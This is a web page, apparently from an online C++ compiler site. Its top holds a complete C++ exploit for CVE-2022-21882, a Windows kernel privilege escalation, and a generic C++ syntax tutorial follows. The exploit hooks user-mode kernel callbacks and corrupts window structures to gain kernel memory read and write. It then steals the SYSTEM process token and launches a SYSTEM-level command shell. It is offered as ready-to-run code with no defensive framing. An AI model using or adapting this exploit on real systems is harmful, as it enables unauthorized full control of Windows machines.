// CVE-2022-21882 by @_L4ys
// Only tested on Windows 10 21H2

#include <stdio.h>
#include <windows.h>
#include <intrin.h>

#define EPROCESS_UNIQUE_PROCESS_ID_OFFSET 0x440
#define EPROCESS_ACTIVE_PROCESS_LINKS_OFFSET 0x448
#define EPROCESS_TOKEN_OFFSET 0x4b8

#define MAGIC_CB_WND_EXTRA 0x1337

typedef PVOID(WINAPI *RTLALLOCATEHEAP)(PVOID HeapHandle, ULONG Flags, SIZE_T Size);
typedef NTSTATUS(WINAPI *NTUSERCONSOLECONTROL)(DWORD, PVOID, ULONG);
typedef NTSTATUS(WINAPI *NTCALLBACKRETURN)(PVOID Result, ULONG ResultLength, NTSTATUS Status);
typedef NTSTATUS(WINAPI *NTUSERMESSAGECALL)(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);
typedef PVOID(WINAPI *HMVALIDATEHANDLE)(HANDLE h, BYTE byType);

RTLALLOCATEHEAP RtlAllocateHeap = NULL;
NTUSERCONSOLECONTROL NtUserConsoleControl = NULL;
NTCALLBACKRETURN NtCallbackReturn = NULL;
NTUSERMESSAGECALL NtUserMessageCall = NULL;
HMVALIDATEHANDLE HMValidateHandle = NULL;

// User mode callbacks
typedef NTSTATUS(WINAPI *XXXCLIENTALLOCWINDOWCLASSEXTRABYTES)(unsigned int *pSize);
typedef NTSTATUS(WINAPI *XXXCLIENTFREEWINDOWCLASSEXTRABYTES)(PVOID pAddress);
XXXCLIENTALLOCWINDOWCLASSEXTRABYTES xxxClientAllocWindowClassExtraBytes = NULL;
XXXCLIENTFREEWINDOWCLASSEXTRABYTES xxxClientFreeWindowClassExtraBytes = NULL;

// Kernel tagWND
#pragma pack(1)
struct tagWND
{
    ULONG64 hWnd;                // + 0x00
    ULONG64 OffsetToDesktopHeap; // + 0x08
    ULONG64 state;               // + 0x10
    DWORD dwExStyle;             // + 0x18
    DWORD dwStyle;               // + 0x1C
    BYTE gap[0xa8];
    ULONG64 cbWndExtra;          // + 0xC8
    BYTE gap2[0x18];
    DWORD dwExtraFlag;           // + 0xE8
    BYTE gap3[0x3c];
    ULONG64 pExtraBytes;         // + 0x128
};

#pragma pack(1)
struct tagMENU
{
    ULONG64 field_0;
    ULONG64 field_8;
    ULONG64 field_10;
    ULONG64 field_18;
    ULONG64 field_20;
    PVOID obj28;
    ULONG64 field_30;
    ULONG64 field_38;
    DWORD cxMenu;
    DWORD cyMenu;
    ULONG64 field_48;
    ULONG64 field_50;
    PVOID rgItems; // + 0x58
    ULONG64 field_60;
    ULONG64 field_68;
    ULONG64 field_70;
    ULONG64 field_78;
    ULONG64 field_80;
    ULONG64 field_88;
    ULONG64 field_90;
    PVOID ref; // + 0x98
};

HWND g_hWnd[50] = {0};
tagWND *g_pWnd[50] = {0};
tagMENU *g_pFakeMenu = 0;

HMVALIDATEHANDLE FindHMValidateHandle()
{
    HMVALIDATEHANDLE result = NULL;
    HMODULE hUser32 = LoadLibrary(L"user32.dll");

    PBYTE p = (PBYTE)GetProcAddress(hUser32, "IsMenu");
    for (int i = 0; i < 20; ++i)
    {
        if (0xe8 == *p++) {
            INT offset = *(PINT)p;
            result = (HMVALIDATEHANDLE)(p + 4 + offset);
            break;
        }
    }
    return result;
}

NTSTATUS WINAPI MyxxxClientAllocWindowClassExtraBytes(unsigned int *pSize)
{
    if (*pSize == MAGIC_CB_WND_EXTRA) {
        // magicWND->dwExtraFLag |= 0x800
        printf("Set magicWND->dwExtraFlag |= 0x800\n");
        ULONG64 ConsoleCtrlInfo[2] = {0};
        ConsoleCtrlInfo[0] = (ULONG64)g_hWnd[2];
        NTSTATUS ret = NtUserConsoleControl(6, &ConsoleCtrlInfo, sizeof(ConsoleCtrlInfo));

        // Set magicWND->pExtraBytes to fake offset
        printf("Retrun faked pExtraBytes: %llx\n", g_pWnd[0]->OffsetToDesktopHeap);
        ULONG64 Result[3] = {g_pWnd[0]->OffsetToDesktopHeap};
        return NtCallbackReturn(&Result, sizeof(Result), 0);
    }
    return xxxClientAllocWindowClassExtraBytes(pSize);
}

NTSTATUS WINAPI MyxxxClientFreeWindowClassExtraBytes(PVOID *pInfo)
{
    tagWND *pwnd = (tagWND *)pInfo[0];

    // explorer will try to free our faked pExtraBytes, block it to prevent BSOD
    if (pwnd->cbWndExtra == MAGIC_CB_WND_EXTRA)
        return 1;
    return xxxClientFreeWindowClassExtraBytes(pInfo);
}

ULONG64 Read64(ULONG64 address)
{
    MENUBARINFO mbi = {0};
    mbi.cbSize = sizeof(MENUBARINFO);

    RECT Rect = {0};
    GetWindowRect(g_hWnd[1], &Rect);

    *(PULONG64)g_pFakeMenu->rgItems = address - 0x40;
    GetMenuBarInfo(g_hWnd[1], OBJID_MENU, 1, &mbi);
    DWORD val[2] = {0};
    val[0] = mbi.rcBar.left - Rect.left;
    val[1] = mbi.rcBar.top - Rect.top;
    return *(PULONG64)val;
}

VOID HookUserModeCallBack()
{
    ULONG64 pKernelCallbackTable = (ULONG64) * (ULONG64 *)(__readgsqword(0x60) + 0x58); // PEB->KernelCallbackTable
    xxxClientAllocWindowClassExtraBytes = (XXXCLIENTALLOCWINDOWCLASSEXTRABYTES) * (ULONG64 *)((PBYTE)pKernelCallbackTable + 0x3D8); // index = 0x7B
    xxxClientFreeWindowClassExtraBytes = (XXXCLIENTFREEWINDOWCLASSEXTRABYTES) * (ULONG64 *)((PBYTE)pKernelCallbackTable + 0x3E0);   // index = 0x7C

    DWORD dwOldProtect = 0;
    VirtualProtect((PBYTE)pKernelCallbackTable + 0x3D8, 0x20, PAGE_READWRITE, &dwOldProtect);
    *(PULONG64)((PBYTE)pKernelCallbackTable + 0x3D8) = (ULONG64)MyxxxClientAllocWindowClassExtraBytes;
    *(PULONG64)((PBYTE)pKernelCallbackTable + 0x3E0) = (ULONG64)MyxxxClientFreeWindowClassExtraBytes;
    VirtualProtect((PBYTE)pKernelCallbackTable + 0x3D8, 0x20, dwOldProtect, &dwOldProtect);
}

VOID UnhookUserModeCallBack()
{
    ULONG64 pKernelCallbackTable = (ULONG64) * (ULONG64 *)(__readgsqword(0x60) + 0x58); // PEB->KernelCallbackTable
    DWORD dwOldProtect = 0;
    VirtualProtect((PBYTE)pKernelCallbackTable + 0x3D8, 0x20, PAGE_READWRITE, &dwOldProtect);
    *(PULONG64)((PBYTE)pKernelCallbackTable + 0x3D8) = (ULONG64)xxxClientAllocWindowClassExtraBytes;
    *(PULONG64)((PBYTE)pKernelCallbackTable + 0x3E0) = (ULONG64)xxxClientFreeWindowClassExtraBytes;
    VirtualProtect((PBYTE)pKernelCallbackTable + 0x3D8, 0x20, dwOldProtect, &dwOldProtect);
}

int main(int argc, char *argv[])
{
    printf("CVE-2022-21882 Exploit by @_L4ys\n");

    NtUserConsoleControl = (NTUSERCONSOLECONTROL)GetProcAddress(GetModuleHandle(L"win32u.dll"), "NtUserConsoleControl");
    NtUserMessageCall = (NTUSERMESSAGECALL)GetProcAddress(GetModuleHandle(L"win32u.dll"), "NtUserMessageCall");
    NtCallbackReturn = (NTCALLBACKRETURN)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtCallbackReturn");
    RtlAllocateHeap = (RTLALLOCATEHEAP)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlAllocateHeap");
    HMValidateHandle = FindHMValidateHandle();

    WNDCLASSEX WndClass = {0};
    WndClass.cbSize = sizeof(WNDCLASSEX);
    WndClass.lpfnWndProc = DefWindowProc;
    WndClass.style = CS_VREDRAW | CS_HREDRAW;
    WndClass.cbWndExtra = 0x20;
    WndClass.hInstance = NULL;
    WndClass.lpszMenuName = NULL;
    WndClass.lpszClassName = L"NormalClass";
    RegisterClassEx(&WndClass);

    WndClass.cbWndExtra = MAGIC_CB_WND_EXTRA;
    WndClass.lpszClassName = L"MagicClass";
    RegisterClassEx(&WndClass);

    DWORD extra_to_wnd1_offset = 0;
    DWORD extra_to_wnd2_offset = 0;

    for (int j = 0; j < 5; ++j) {
        HMENU hMenu = CreateMenu();
        HMENU hHelpMenu = CreateMenu();
        AppendMenu(hHelpMenu, MF_STRING, 0x1888, TEXT("about"));
        AppendMenu(hMenu, MF_POPUP, (UINT_PTR)hHelpMenu, TEXT("help"));

        for (int i = 0; i < 50; ++i) {
            g_hWnd[i] = CreateWindowEx(NULL, L"NormalClass", NULL, WS_VISIBLE, 0, 0, 0, 0, NULL, hMenu, NULL, NULL);
            g_pWnd[i] = (tagWND*)HMValidateHandle(g_hWnd[i], 1);
        }
        for (int i = 2; i < 50; ++i) {
            DestroyWindow(g_hWnd[i]);
        }

        // Set first window to use kernel desktop heap for extra bytes
        ULONG64 ConsoleCtrlInfo[2] = { (ULONG64)g_hWnd[0] };
        NTSTATUS status = NtUserConsoleControl(6, &ConsoleCtrlInfo, sizeof(ConsoleCtrlInfo));

        g_hWnd[2] = CreateWindowEx(NULL, L"MagicClass", NULL, WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
        g_pWnd[2] = (tagWND*)HMValidateHandle(g_hWnd[2], 1);

        if (g_pWnd[0]->pExtraBytes < g_pWnd[1]->OffsetToDesktopHeap) {
            extra_to_wnd1_offset = g_pWnd[1]->OffsetToDesktopHeap - g_pWnd[0]->pExtraBytes;
        }
        if (g_pWnd[0]->pExtraBytes < g_pWnd[2]->OffsetToDesktopHeap) {
            extra_to_wnd2_offset = g_pWnd[2]->OffsetToDesktopHeap - g_pWnd[0]->pExtraBytes;
        }

        if (!extra_to_wnd1_offset || !extra_to_wnd2_offset) {
            printf("Unexpected memory layout, retry %d/5\n", j + 1);
            DestroyWindow(g_hWnd[0]);
            DestroyWindow(g_hWnd[1]);
            DestroyWindow(g_hWnd[2]);
            DestroyMenu(hMenu);
            DestroyMenu(hHelpMenu);
            if (j == 4) {
                printf("Give up\n");
                return 1;
            }
            continue;
        }
        printf("Offset of tagWND0->pExtraBytes and tagWND1 = %x\n", extra_to_wnd1_offset);
        printf("Offset of tagWND0->pExtraBytes and tagWND2 = %x\n", extra_to_wnd2_offset);
        break;
    }

    HookUserModeCallBack();

    printf("Trigger xxxValidateClassAndSize\n");
    // Trigger xxxSwitchWndProc -> xxxValidateClassAndSize to call our usermode callbacks
    NtUserMessageCall(g_hWnd[2], WM_CREATE, 0, 0, 0, 0, 0);

    // Now magic window's pExtraBytes points to tagWND0
    SetWindowLong(g_hWnd[2], offsetof(tagWND, cbWndExtra) + 0x10, 0xFFFFFFFF); // Use OOB to modify tagWND1's cbWndExtra

    // Create a fake spmenu
    PVOID hHeap = GetProcessHeap();

    g_pFakeMenu = (tagMENU *)RtlAllocateHeap(hHeap, 0, 0xA0);
    g_pFakeMenu->ref = RtlAllocateHeap(hHeap, 0, 0x20);
    *(PULONG64)g_pFakeMenu->ref = (ULONG64)g_pFakeMenu;
    // cItems = 1
    g_pFakeMenu->obj28 = RtlAllocateHeap(hHeap, 0, 0x200);
    *(PULONG64)((PBYTE)g_pFakeMenu->obj28 + 0x2C) = 1;
    // rgItems
    g_pFakeMenu->rgItems = RtlAllocateHeap(hHeap, 0, 0x8);
    // cx / cy must > 0
    g_pFakeMenu->cxMenu = 1;
    g_pFakeMenu->cyMenu = 1;

    // Set WS_CHILD to set spmenu with GWLP_ID
    DWORD style = g_pWnd[1]->dwStyle;
    SetWindowLong(g_hWnd[0], extra_to_wnd1_offset + offsetof(tagWND, dwStyle), style | WS_CHILD);

    ULONG64 pmenu = SetWindowLongPtr(g_hWnd[1], GWLP_ID, (LONG_PTR)g_pFakeMenu); // Set fake spmenu and leak its kernel address
    printf("pWnd1->spmenu = %llx\n", pmenu);

    // Remove WS_CHILD to use GetMenuBarInfo
    SetWindowLong(g_hWnd[0], extra_to_wnd1_offset + offsetof(tagWND, dwStyle), style);

    // Token stealing
    ULONG64 p = Read64(pmenu + 0x50); // pmenu->spwndNotify (tagWND)
    p = Read64(p + 0x10);             // pwnd->pti (THREADINFO)
    p = Read64(p + 0x1A0);            // pti->ppi (PROCESSINFO)
    p = Read64(p);                    // ppi.W32PROCESS.peProcess
    ULONG64 eprocess = p;
    printf("Current EPROCESS = %llx\n", eprocess);

    do {
        p = Read64(p + EPROCESS_ACTIVE_PROCESS_LINKS_OFFSET) - EPROCESS_ACTIVE_PROCESS_LINKS_OFFSET;
        ULONG64 pid = Read64(p + EPROCESS_UNIQUE_PROCESS_ID_OFFSET);
        if (pid == 4) {
            printf("System EPROCESS = %llx\n", p);

            ULONG64 pSystemToken = Read64(p + EPROCESS_TOKEN_OFFSET);
            printf("pSystem Token = %llx \n", pSystemToken);

            ULONG64 pCurrentToken = eprocess + EPROCESS_TOKEN_OFFSET;

            LONG_PTR old = SetWindowLongPtr(g_hWnd[0], extra_to_wnd1_offset + offsetof(tagWND, pExtraBytes), (LONG_PTR)pCurrentToken);
            SetWindowLongPtr(g_hWnd[1], 0, pSystemToken);
            SetWindowLongPtr(g_hWnd[0], extra_to_wnd1_offset + offsetof(tagWND, pExtraBytes), (LONG_PTR)old);
            break;
        }
    } while (p != eprocess);

    system("cmd");

    // Fix corrupted tagWND
    PVOID pExtraBytes = RtlAllocateHeap(hHeap, 0, MAGIC_CB_WND_EXTRA);
    SetWindowLongPtr(g_hWnd[0], extra_to_wnd2_offset + offsetof(tagWND, pExtraBytes), (ULONG_PTR)pExtraBytes);
    SetWindowLongPtr(g_hWnd[0], extra_to_wnd2_offset + offsetof(tagWND, dwExtraFlag), g_pWnd[2]->dwExtraFlag & ~0x800);

    style = g_pWnd[1]->dwStyle;
    SetWindowLong(g_hWnd[0], extra_to_wnd1_offset + offsetof(tagWND, dwStyle), style | WS_CHILD);
    SetWindowLongPtr(g_hWnd[1], GWLP_ID, (UINT_PTR)pmenu); // tagWND1->spmenu = pmenu
    SetWindowLong(g_hWnd[0], extra_to_wnd1_offset + offsetof(tagWND, dwStyle), style);

    UnhookUserModeCallBack();
} 

C++ Online Compiler

Write, Run & Share C++ code online using OneCompiler's C++ online compiler for free. It's one of the robust, feature-rich online compilers for C++ language, running on the latest version 17. Getting started with the OneCompiler's C++ compiler is simple and pretty fast. The editor shows sample boilerplate code when you choose language as C++ and start coding!

Read inputs from stdin

OneCompiler's C++ online compiler supports stdin and users can give inputs to programs using the STDIN textbox under the I/O tab. Following is a sample program which takes name as input and print your name with hello.

#include <iostream>
#include <string>
using namespace std;

int main() 
{
    string name;
    cout << "Enter name:";
    getline (cin, name);
    cout << "Hello " << name;
    return 0;
}

About C++

C++ is a widely used middle-level programming language.

  • Supports different platforms like Windows, various Linux flavours, MacOS etc
  • C++ supports OOPS concepts like Inheritance, Polymorphism, Encapsulation and Abstraction.
  • Case-sensitive
  • C++ is a compiler based language
  • C++ supports structured programming language
  • C++ provides alot of inbuilt functions and also supports dynamic memory allocation.
  • Like C, C++ also allows you to play with memory using Pointers.

Syntax help

Loops

1. If-Else:

When ever you want to perform a set of operations based on a condition If-Else is used.

if(conditional-expression) {
   //code
}
else {
   //code
}

You can also use if-else for nested Ifs and If-Else-If ladder when multiple conditions are to be performed on a single variable.

2. Switch:

Switch is an alternative to If-Else-If ladder.

switch(conditional-expression){    
case value1:    
 // code    
 break;  // optional  
case value2:    
 // code    
 break;  // optional  
......    
    
default:     
 code to be executed when all the above cases are not matched;    
} 

3. For:

For loop is used to iterate a set of statements based on a condition.

for(Initialization; Condition; Increment/decrement){  
  //code  
} 

4. While:

While is also used to iterate a set of statements based on a condition. Usually while is preferred when number of iterations are not known in advance.

while (condition) {  
// code 
}  

5. Do-While:

Do-while is also used to iterate a set of statements based on a condition. It is mostly used when you need to execute the statements atleast once.

do {  
 // code 
} while (condition); 

Functions

Function is a sub-routine which contains set of statements. Usually functions are written when multiple calls are required to same set of statements which increases re-usuability and modularity. Function gets run only when it is called.

How to declare a Function:

return_type function_name(parameters);

How to call a Function:

function_name (parameters)

How to define a Function:

return_type function_name(parameters) {  
 // code
}